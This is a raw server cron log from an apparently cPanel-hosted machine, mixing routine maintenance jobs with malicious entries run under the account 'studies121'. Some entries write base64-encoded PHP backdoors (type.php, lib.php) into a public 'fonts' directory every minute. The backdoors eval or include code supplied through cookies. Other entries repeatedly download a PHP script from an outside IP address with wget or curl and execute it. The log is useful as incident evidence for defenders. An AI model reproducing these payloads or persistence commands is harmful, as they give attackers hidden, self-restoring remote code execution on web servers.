Aug 30 12:30:01 ip-184-168-122-23 CROND[14137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:30:01 ip-184-168-122-23 CROND[14143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:30:01 ip-184-168-122-23 CROND[14138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:31:01 ip-184-168-122-23 CROND[14268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:31:01 ip-184-168-122-23 CROND[14269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:31:01 ip-184-168-122-23 CROND[14271]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 12:31:01 ip-184-168-122-23 CROND[14273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:31:01 ip-184-168-122-23 CROND[14270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:32:01 ip-184-168-122-23 CROND[14363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:32:01 ip-184-168-122-23 CROND[14365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:32:01 ip-184-168-122-23 CROND[14367]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:32:01 ip-184-168-122-23 CROND[14366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:32:01 ip-184-168-122-23 CROND[14368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:33:01 ip-184-168-122-23 CROND[14459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:33:01 ip-184-168-122-23 CROND[14461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:33:01 ip-184-168-122-23 CROND[14462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:33:01 ip-184-168-122-23 CROND[14464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:34:01 ip-184-168-122-23 CROND[14550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:34:01 ip-184-168-122-23 CROND[14553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:34:01 ip-184-168-122-23 CROND[14555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:34:01 ip-184-168-122-23 CROND[14552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:34:01 ip-184-168-122-23 CROND[14554]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:35:01 ip-184-168-122-23 CROND[14647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:35:01 ip-184-168-122-23 CROND[14649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:35:01 ip-184-168-122-23 CROND[14650]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 12:35:01 ip-184-168-122-23 CROND[14654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:35:01 ip-184-168-122-23 CROND[14651]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:35:01 ip-184-168-122-23 CROND[14653]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 12:35:01 ip-184-168-122-23 CROND[14655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:35:01 ip-184-168-122-23 CROND[14652]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:36:01 ip-184-168-122-23 CROND[14832]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:36:01 ip-184-168-122-23 CROND[14836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:36:01 ip-184-168-122-23 CROND[14833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:36:01 ip-184-168-122-23 CROND[14835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:36:01 ip-184-168-122-23 CROND[14834]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:37:01 ip-184-168-122-23 CROND[14925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:37:01 ip-184-168-122-23 CROND[14927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:37:01 ip-184-168-122-23 CROND[14929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:37:01 ip-184-168-122-23 CROND[14930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:38:01 ip-184-168-122-23 CROND[15015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:38:01 ip-184-168-122-23 CROND[15016]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:38:01 ip-184-168-122-23 CROND[15019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:38:01 ip-184-168-122-23 CROND[15017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:38:01 ip-184-168-122-23 CROND[15021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:39:01 ip-184-168-122-23 CROND[15112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:39:01 ip-184-168-122-23 CROND[15115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:39:01 ip-184-168-122-23 CROND[15116]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 12:39:01 ip-184-168-122-23 CROND[15114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:39:01 ip-184-168-122-23 CROND[15117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:40:02 ip-184-168-122-23 CROND[15233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:40:02 ip-184-168-122-23 CROND[15234]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:40:02 ip-184-168-122-23 CROND[15238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:40:02 ip-184-168-122-23 CROND[15240]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 12:40:02 ip-184-168-122-23 CROND[15239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:40:02 ip-184-168-122-23 CROND[15243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:40:02 ip-184-168-122-23 CROND[15242]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:40:02 ip-184-168-122-23 CROND[15244]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:41:01 ip-184-168-122-23 CROND[15359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:41:01 ip-184-168-122-23 CROND[15361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:41:01 ip-184-168-122-23 CROND[15360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:41:01 ip-184-168-122-23 CROND[15362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:42:01 ip-184-168-122-23 CROND[15462]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
